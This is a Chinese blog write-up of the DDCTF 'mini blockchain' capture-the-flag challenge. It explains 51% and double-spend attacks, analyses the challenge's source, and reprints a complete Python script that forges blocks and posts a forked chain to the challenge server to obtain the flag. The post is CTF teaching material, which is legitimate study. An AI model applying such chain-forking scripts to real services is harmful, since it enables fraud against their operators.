V0W's Blog

DDCTF-miniblock

字数统计: 2,844阅读时长: 13 min
2018/09/20 Share

mini blockchain

某银行利用区块链技术,发明了DiDiCoins记账系统。某宝石商店采用了这一方式来完成钻石的销售与清算过程。不幸的是,该银行被黑客入侵,私钥被窃取,维持区块链正常运转的矿机也全部宕机。现在,你能追回所有DDCoins,并且从商店购买2颗钻石么?

1
2
> 注意事项:区块链是存在cookie里的,可能会因为区块链太长,浏览器不接受服务器返回的set-cookie字段而导致区块链无法更新,因此强烈推荐写脚本发请求
>

题目入口:
http://116.85.48.107:5000/b982a03e1297e

基础知识

这个题需要一定的区块链基础,这两天,我也是恶补了一些这方面的知识,请教了这方面的大佬,参考了无数的大佬博客。终于写了一篇像样的区块链基础,欢迎移步阅读。另外这两篇文章,都是新接触的知识,如有错误,望大佬指正(可以点击右侧DaoVoice联系我,或者直接发邮件给我也可)

这里只说这个题目:

  1. 本题考查51%攻击双重花费

    我们知道,当出现两条链即区块链分叉的情况时,区块链会选择长的一条,而放弃短的一条。

    所谓51%攻击,就是说当整个区块链系统中,有人掌握51%的计算力时(就像掌握51% 的股权一样),就可以影响甚至决定整条区块链的走向,我们的计算力使得我们可以更早的挖出长的链,这样就可以改变链的走向,将原有链丢弃。

    所谓双重花费,指的是51%攻击的一种获利形式,掌握51%计算力以后,我就可以在使用比特币购买物品之后,伪造链,并且延长从而导致原来确认的链被丢弃,在伪造链中,我们没有花费比特币,于是可以再买一次甚至更多次。

  2. 本题我们拥有全部的算力,无人竞争。

  3. 本题采取0确认,即不需要别人确认,就如我们生活中的一手交钱一手交货,不同的是生活中我们处于中心化社会,银行会帮我们确认。而6确认就是需要经过6个人(区块被挖出)交易才确定。

      可以看到对0确认和6确认进行51%(双花)攻击的难度是不一样的,6确认需要的算力明显要大,因为他要多比其他人生成6个区块。好在,题目并不是采用6确认。

题目分析

路由如下:

1
2
3
4
5
6
7
8
9
10
11
'/'		# 首页

'/flag' # 输出flag

'/5ecr3t_free_D1diCoin_b@ckD00r/<string:address>'

'/create_transaction'

'/reset'

'/source_code'

访问首页,得到一些背景和已知信息:

1
2
3
4
5
6
7
8
9
已知bank,shop,hacker 地址
bank: ....3985
hacker: ....b131
shop: ....e735

余额:
bank: 1
shop: 0
hacker: 999999

还有很关键的区块的情况,这里详细注释了第一个区块的json格式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
Blockchain Explorer: {
"nonce": "HAHA, I AM THE BANK NOW!", //附言
"prev": "ce063909e9304530bd4d3332aa340a7d7d79bf2bd8c3514c3356d3eda1c886e0", //该区块的父区块
"hash": "c50b9cefe2fbe0dc8ee66930091f91121dace3bc7ea0613c4888dde7f53858c0", //hash签名
"transactions": [{ //交易信息
"input": ["d7bcf9a0-5e8b-4457-9bac-dba7b68f625d"], //被转出币钱包的当前id
"signature": ["5eead71e96543fa8a5f34ba766fd51294b82811d43d5c2e5850171cb62ff7f64d7a9e2d91de5551a7514f581b2301a12"], //交易签名,根据被转出钱包的私钥生成
"hash": "abf48a7e19280bc25db5b411154317a4c6e4d3f95259ca7156ca86cfc13cfbd1", //hash签名
"output": [{
"amount": 999999, //交易后金额
"hash": "afa507ef7c93f706f93b2bbd68904551f414b388794d83e326d5ee969814c342",
"addr": "958b7c541efd9da47c28c00ea38b334c721f8b65a1845e5cf961cfafb83f22b947f8bd61e36d4c098788a5585bba5f89", //钱包地址
"id": "db0a630b-9a35-4218-8994-e923dcf432e3" //交易后钱包id
}, {
"amount": 1,
"hash": "7f2651d7a90c567fcc7dcfa71137be533d51c8c3163d6f77216406ee5a589b43",
"addr": "877b5e11bf0aefa6ca5cfd63cf657b9a264ce4f061bc8d2620733a20b80104e64ba5295e635057ca1b2cb8e1e45f3cc7",
"id": "30405529-2693-4fb3-916d-c8e9e20d6bb5"
}]
}],
"height": 1 //距离根区块的距离
}

"4d1af94d2358de7c6507702f8d0d975119bba5a267820c24c7b130be092138a4":
{"nonce": "The Times 03/Jan/2009 Chancellor on brink of second bailout for bank",
"prev": "0000000000000000000000000000000000000000000000000000000000000000",
"hash": "4d1af94d2358de7c6507702f8d0d975119bba5a267820c24c7b130be092138a4",
"transactions": [{
"input": [],
"signature": [],
"hash": "0b0454d452f34f97f0c321a8678c77168d39f1442a72809a402a2a246a43c5c0",
"output": [{
"amount": 1000000,
"hash": "88c52788c92fb1cfbc7eca2540ec11f69b42c66aa0d8502f7715eca970d27f15",
"addr": "b2b69bf382659fd193d40f3905eda4cb91a2af16d719b6f9b74b3a20ad7a19e4de41e5b7e78c8efd60a32f9701a13985",
"id": "2b54d916-91b0-4647-b33a-a6cbf5e618bf"}]}],
"height": 0},

"b38663ce91cf1979bd4fcfd0d43d605707b03439404b050778f6f4135838d7d2": {
"nonce": "a empty block",
"prev": "fb842fb31eec1c9c046ade071464d77909a5cd7963b15a8c71a1f4fec8b403a4",
"hash": "b38663ce91cf1979bd4fcfd0d43d605707b03439404b050778f6f4135838d7d2", "transactions": [],
"height": 2}}

顺序有点不对,但是很容易发现一些信息:

  1. height=0是创世区块:将1000000DDB 放入银行。
  2. height=1是第二个区块:黑客通过攻击手段,让银行转账给黑客999999DDB
  3. height=2是第三个区块,空区块。

查看/flag

1
2
3
4
5
@app.route(url_prefix+'/flag')
def getFlag():
init()
if session['your_diamonds'] >= 2: return FLAG()
return 'To get the flag, you should buy 2 diamonds from the shop. You have {} diamonds now. To buy a diamond, transfer 1000000 DDCoins to '.format(session['your_diamonds']) + shop_address

题目要求我们的钻石数大于等于2,即可返回flag

我们去查看如何获得钻石,定位到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
@app.route(url_prefix+'/create_transaction', methods=['POST'])
def create_tx_and_check_shop_balance():
init()
try:
block = json.loads(request.data)
append_block(block, DIFFICULTY)
msg = 'transaction finished.'
except Exception, e:
return str(e)

balance, utxos, tail = get_balance_of_all()
if balance[shop_address] == 1000000:
# when 1000000 DDCoins are received, the shop will give you a diamond
session['your_diamonds'] += 1
# and immediately the shop will store the money somewhere safe.
transferred = transfer(utxos, shop_address, shop_wallet_address, balance[shop_address], shop_privkey)
new_block = create_block(tail['hash'], 'save the DDCoins in a cold wallet', [transferred])
append_block(new_block)
msg += ' You receive a diamond.'
return msg

shop的余额为1000000的时候,session['your_diamonds']加一,也就是说,我们需要利用双重花费,给shop两次100w即可得到flag。

解题思路

由于我们掌握100% 的计算力,所以我们可以完全可以重新计算区块,并延长链,使得链向着长的方向发展,而之前确认的链被舍弃

以下思维导图均来自一叶飘零-DDCTF-bitcoin-51per-Attack 膜一波大佬0rz

之前的区块,不算上创世区块,有两个,那么我们如果有三个以上的区块,就可以将之前确认的区块替代。而默认选择长链(我们构造的链),如图(黑客是我们的区块,蓝色是原来的确认区块)

mark

而由于现在主链变为红色部分,之前黑客的操作全部作废

所以此时我们的操作成立,即shop获得100万,我们获得钻石一枚

此时我们可以触发双花攻击

即我们让shop把这100万转出去,然后改变主链走向,让这一操作不成立,则100万又会返回到shop,此时我们的钻石又会继续+1

如图

mark

我们现在的主链为红色部分,我们在黑客区块5,让shop给shop_wallet_address转账100万 然后我们利用最强算力 重新计算黑客区块5(已确认过的区块) 生成空区块(绿色部分)

由于我们后续创建的分叉支路(绿色)更长

所以成为主链

之前的shop转账操作作废,100万回到shop手中

此时我们的钻石即可再次+1

故此可以完成此题

payload构造思路

这里告诉我们黑客完成转账步骤,所以我们可以通过模仿黑客的方法,来完成payload。

首先,找到block的元素:

1
2
3
4
5
6
7
def create_block(prev_block_hash, nonce_str, transactions):
if type(prev_block_hash) != type(''): raise Exception('prev_block_hash should be hex-encoded hash value')
nonce = str(nonce_str)
if len(nonce) > 128: raise Exception('the nonce is too long')
block = {'prev': prev_block_hash, 'nonce': nonce, 'transactions': transactions}
block['hash'] = hash_block(block)
return block

得到block的元素:

1
block = {'prev': prev_block_hash, 'nonce': nonce, 'transactions': transactions}

prev为前一个区块的hash

nonce需要我们自行爆破遍历

transactions(交易)需要我们自己计算

我们跟进append_block()

不难发现transactions计算的关键语句

1
2
3
block = create_block(block['prev'], block['nonce'], block['transactions'])
block_hash = int(block['hash'], 16)
if block_hash > difficulty: raise Exception('Please provide a valid Proof-of-Work')

要求是block_hash>difficulty,可以通过爆破nonce来完成工作量证明。

1
2
3
4
5
6
7
8
9
def pow(b, difficulty, msg=""):
nonce = 0
while nonce<(2**32):
b['nonce'] = msg+str(nonce)
b['hash'] = hash_block(b)
block_hash = int(b['hash'], 16)
if block_hash < difficulty:
return b
nonce+=1

总结一下:

1
2
3
4
tx = {"input":[input],"output":[{"amount":1000000, 'id':txout_id,'addr':shop_address}],'signature':[signature]}
tx["output"][0]["hash"] = hash_utxo(tx["output"][0])
tx['hash'] = hash_tx(tx)
block1["transactions"] = [tx]

空区块无需计算transactions,所以基本就是爆破遍历Nonce了。

payload

这里是copy的一叶飘零大佬的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
#!/usr/bin/python
# # -*- encoding: utf-8 -*-
import rsa, uuid, json, copy,requests,re,hashlib
# 获取初始session
url = "http://116.85.48.107:5000/b942f830cf97e/"
r = requests.get(url=url)
session = r.headers['Set-Cookie'].split(";")[0][8:]
Cookie = {
"session":session
}
r = requests.get(url=url,cookies=Cookie)
# 获取需要的信息
genesis_hash_re = r'hash of genesis block: (.*?)<br /><br />'
genesis_hash = re.findall(genesis_hash_re, r.content)[0]

shop_address_re = r", the shop's addr: (.*?)<br /><br />"
shop_address = re.findall(shop_address_re, r.content)[0]

input_re = r'''\[\{"input": \["(.*?)"\],'''
input = re.findall(input_re, r.content)[0]

signature_re = r'''"\], "signature": \["(.*?)"\]'''
signature = re.findall(signature_re, r.content)[0]

txout_id = str(uuid.uuid4())
#工作量证明
def pow(b, difficulty, msg=""):
nonce = 0
while nonce<(2**32):
b['nonce'] = msg+str(nonce)
b['hash'] = hash_block(b)
block_hash = int(b['hash'], 16)
if block_hash < difficulty:
return b
nonce+=1
def myprint(b):
return json.dumps(b)

DIFFICULTY = int('00000' + 'f' * 59, 16) # 给出的DIFFICULTY

def hash(x):
return hashlib.sha256(hashlib.md5(x).digest()).hexdigest()

def hash_reducer(x, y):
return hash(hash(x) + hash(y))

EMPTY_HASH = '0' * 64

def hash_utxo(utxo):
return reduce(hash_reducer, [utxo['id'], utxo['addr'], str(utxo['amount'])])

def hash_tx(tx):
return reduce(hash_reducer, [
reduce(hash_reducer, tx['input'], EMPTY_HASH),
reduce(hash_reducer, [utxo['hash'] for utxo in tx['output']], EMPTY_HASH)
])

def hash_block(block):
return reduce(hash_reducer, [block['prev'], block['nonce'],
reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)])

def empty_block(msg, prevHash):
b={}
b["prev"] = prevHash
b["transactions"] = []
b = pow(b, DIFFICULTY, msg)
return b

#从创世块开始分叉,给商店转1000000
block1 = {}
block1["prev"] = genesis_hash
tx = {"input":[input],"output":[{"amount":1000000, 'id':txout_id,'addr':shop_address}],'signature':[signature]}
tx["output"][0]["hash"] = hash_utxo(tx["output"][0])
tx['hash'] = hash_tx(tx)
block1["transactions"] = [tx]
block1 = pow(block1, DIFFICULTY)
url_begin = "http://116.85.48.107:5000/b942f830cf97e/create_transaction"
def header_change(session):
header = {
"Host":"116.85.48.107:5000",
"Upgrade-Insecure-Requests":"1",
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36",
"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8",
"Accept-Language":"zh-CN,zh;q=0.8",
"Cookie":"session="+session,
"Connection":"close",
"Content-Type":"application/json"
}
return header
s1 = requests.post(url=url_begin,data=myprint(block1),headers=header_change(session))
session1 = s1.headers['Set-Cookie'].split(";")[0][8:]
print s1.content
#构造空块增加分叉链长度,使分叉链最长,因为max的结果不唯一,少则一次多则两次
block2 = empty_block("myempty1", block1["hash"])
s2 = requests.post(url=url_begin,data=myprint(block2),headers=header_change(session1))
session2 = s2.headers['Set-Cookie'].split(";")[0][8:]
print s2.content
block3 = empty_block("myempty2", block2["hash"])
s3 = requests.post(url=url_begin,data=myprint(block3),headers=header_change(session2))
session3 = s3.headers['Set-Cookie'].split(";")[0][8:]
print s3.content
#余额更新成功,系统自动添加块,转走商店钱,钻石+1
#从自己的块,即系统转走钱之前的那个块再次分叉,添加空块
block4 = empty_block("myempty3", block3["hash"])
s4 = requests.post(url=url_begin,data=myprint(block4),headers=header_change(session3))
session4 = s4.headers['Set-Cookie'].split(";")[0][8:]
print s4.content
block5 = empty_block("myempty4", block4["hash"])
s5 = requests.post(url=url_begin,data=myprint(block5),headers=header_change(session4))
session5 = s5.headers['Set-Cookie'].split(";")[0][8:]
print s5.content

flag_url = "http://116.85.48.107:5000/b942f830cf97e/flag"
flag = requests.get(url=flag_url,headers=header_change(session5))
print flag.content
#新的分叉链最长,余额更新成功,钻石+1

装好依赖库以后,可以getflag:

mark

后记

区块链博大精深,学习到一点点皮毛,还有很多不明白的地方,大部分也都是照搬一叶飘零大佬的博客,再次0rz。希望之后有机会再学习更多区块链的知识。

参考文档

http://skysec.top/2018/04/22/DDCTF-bitcoin-51per-Attack/

CATALOG
  1. 1. mini blockchain
    1. 1.1. 基础知识
    2. 1.2. 题目分析
    3. 1.3. 解题思路
    4. 1.4. payload构造思路
    5. 1.5. payload
    6. 1.6. 后记
    7. 1.7. 参考文档